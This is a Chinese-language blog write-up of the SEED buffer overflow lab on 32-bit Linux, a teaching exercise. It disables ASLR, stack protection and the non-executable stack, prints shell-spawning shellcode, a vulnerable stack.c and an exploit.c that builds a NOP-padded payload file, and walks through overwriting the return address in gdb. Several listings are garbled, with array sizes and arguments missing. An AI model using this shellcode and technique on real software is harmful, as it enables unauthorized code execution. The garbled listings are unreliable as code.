缓冲区溢出实验(Linux 32位)

参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

(本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程)

1. 准备工作

使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。

(1)内存地址随机化(Address Space Randomization):基于Linux的操作系统一般使堆和栈的开始地址随机化,使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

(2)The StackGuard Protection Scheme:GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。

(3)Non-Executable Stack:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,所以需要在编译时加入-z execstack参数来允许栈执行。

2. ShellCode

教程提供了shellcode,是如下代码反汇编得到的机器码,功能就是打开一个shell,通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其,但是并不影响shellcode的执行,该验证程序是将buf强制转换成了函数指针来执行,用法巧妙。其中shellcode还有一些需要解释的地方,如“//sh”是为了凑足4字节,并且“/”与“//”是一样的;为了给execve传递参数,需要字符串的地址,这里采用了push并传递esp的方法;cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

#include <stdio.h>
int main( ) {
char*
name[];
name[] = ‘‘/bin/sh’’;
name[] = NULL;
execve(name[], name, NULL);
}
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h> const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
; int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

3.漏洞程序stack.c

程序很简单,从文件中读入内容至str,传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制,加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> int bof(char *str)
{
char buffer[]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return ;
} int main(int argc, char **argv)
{
char str[];
FILE *badfile; badfile = fopen("badfile", "r");
fread(str, sizeof(char), , badfile);
bof(str); printf("Returned Properly\n");
return ;
}

4.实验内容

GDB的使用参考:

http://blog.csdn.net/liigo/article/details/582231

http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html

(1)攻击漏洞程序执行shellcode

使用gdb进入bof()之后,使用i frame可以查看当前程序栈的信息,如下所示。从中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆盖的返回地址,将其指向我们构造的shellcode即可。

查看栈的内存与变量的位置,图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决,就是0xbffff010与0xbffff014这8个内存的作用不明。

执行memcpy后,可以看出内存变为如下图所示。

即从0xbfffeff8开始存入了shellcode,开始时考虑采用NSR模式,但是由于漏洞程序的缓冲区很小,刚好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷贝shellcode时不要把字符串结尾的’\x00’也复制过去,否则漏洞程序会认为字符串就此截止,而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存,发现shellcode会压栈一些内容,压入ebx时恰好会把shellcode最后的语句(位置0xbffffffc)覆盖!故考虑使用RNS模式,实验表明使用RNS模式更加简单,容错率也高。

修改exploit.c如下所示,成功!

(2)启动内存地址随机化

首先打开Linux的内存地址随机化功能,sysctl -w kernel.randomize_va_space=2,再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化,需要进入gdb后首先输入set disable-randomization off来开启地址随机化,接下来进行调试。每次运行时会发现栈的地址随机变化,从而使得攻击者无法确定shellcode的地址。

(3)Stack Guard

首先关闭内存地址随机化以防止干扰,然后重新编译stack.c,此时不加入-fno-stack-protector参数即开启了该防护措施(新版本gcc)。再次执行stack会出现错误,从汇编可以看出,该机制是检测ebp-0xc这个位置存放的4字节是否被改变,该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序,发现该检测值会发生改变,可见是随机生成的,难以预测。

(4)栈不可执行

使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c,调试运行会发现只要执行栈上的指令,进程会收到系统信号SIGSEGV,段错误。可以使用Return-to-Libc来绕过该防御机制。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
; void main(int argc, char **argv)
{
char buffer[];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, ); /* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, , , badfile);
fclose(badfile);
}

高级缓冲区溢出技术可以参考:http://drops.wooyun.org/tips/6597

SEED缓冲区溢出实验笔记的更多相关文章

  1. SEED缓冲区溢出实验笔记——Return_to_libc

    参考:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/    http://drops.wooyun.org/ ...

  2. 2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

    seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our tas ...

  3. Kali学习笔记33:Linux系统缓冲区溢出实验

    之前做过一个Windows应用SLmail的缓冲区溢出的实验 这次来做一个Linux平台的缓冲区溢出实验: 缓冲区溢出是什么? 学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序 ...

  4. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  5. 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165232<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo函 ...

  6. 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165225<网络对抗技术>Exp1 缓冲区溢出实验 声明 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用 ...

  7. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  8. 20191310Lee_yellow缓冲区溢出实验

    缓冲区溢出实验 1.什么是缓冲区溢出 ​ 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据 ...

  9. Kali学习笔记20:缓冲区溢出实验环境准备

    在前几篇的博客中:我介绍了OpenVAS和Nessus这两个强大的自动化漏洞扫描器 但是,在计算机领域中有种叫做0day漏洞:没有公开只掌握在某些人手中 那么,这些0day漏洞是如何被发现的呢? 接下 ...

随机推荐

  1. 【BZOJ1426】收集邮票 概率DP 论文题 推公式题

    链接: #include <stdio.h> int main() { puts("转载请注明出处[辗转山河弋流歌 by 空灰冰魂]谢谢"); puts("网 ...

  2. Redis内存管理的基石zmallc.c源代码解读(一)

    当我第一次阅读了这个文件的源代码的时候.我笑了,忽然想起前几周阿里电话二面的时候,问到了自己定义内存管理函数并处理8字节对齐问题. 当时无言以对,在面试官无数次的提示下才答了出来,结果显而易见,挂掉了 ...

  3. Android菜鸟的成长笔记(18)——绑定本地Service并与之通信

    在上一篇中介绍了Service与Activity的区别及Service两种启动方式中的第一种启动方式startService(). 我们会发现用startService().stopService() ...

  4. C# 与.NET2.0 中类型Type的GetMethod方法

    C#中类型Type有个GetMethod方法,调用该方法可获取指定方法名的方法信息实例. 使用时,其参数一般为2个,一个是方法名称字符串(可设置条件忽略大小写),另外一个参数为搜索方法的条件枚举. 该 ...

  5. SCJP考试题310-025(第二套<4>)92-147/147

    310-025 Leading the way in IT testing and certification tools,QUESTION NO: 92 Given: 1. String foo = ...

  6. 创建asp.net core 的静态网站

    这个名字听起来很怪 既然是静态网站 为什么要是asp.net core的呢? 1.在vs上面好像不能创建纯静态的网站,所以我们就想创建一个asp.net core的空网站 然后在里面使用静态的html ...

  7. day68_淘淘商城项目_01_电商介绍 + 互联网术语 + SOA + 分布式 + 集群介绍 + 环境配置 + 框架搭建_匠心笔记

    课程计划 第一天: 1.电商行业的背景介绍--电子商务 2.淘淘商城的系统架构 a) 功能介绍 b) 架构讲解 3.工程搭建--后台工程 a) 使用maven搭建工程(工程大) b) 使用maven的 ...

  8. C#中的DataGridView

    关键字:C# DataGridView作者:peterzb来源:http://www.cnblogs.com/peterzb 1.DataGridView实现课程表 testcontrol.rar 2 ...

  9. STL优先级队列

    priority_queue 这是一个优先级队列的所有权值概念单向队列queue.在这个队列中.全部元素是按优先级排列的(也能够觉得queue是个按进入队列的先后做为优先级的优先级队列--先进入队列的 ...

  10. Hadoop入门实验

    一.实验目的 了解Hadoop的MapeReduce工作原理 二.实验内容 实现基于单机的伪分布式运行模拟 三.实验需要准备的软件和源 1.Jdk1.6以上 下载地址:http://www.oracl ...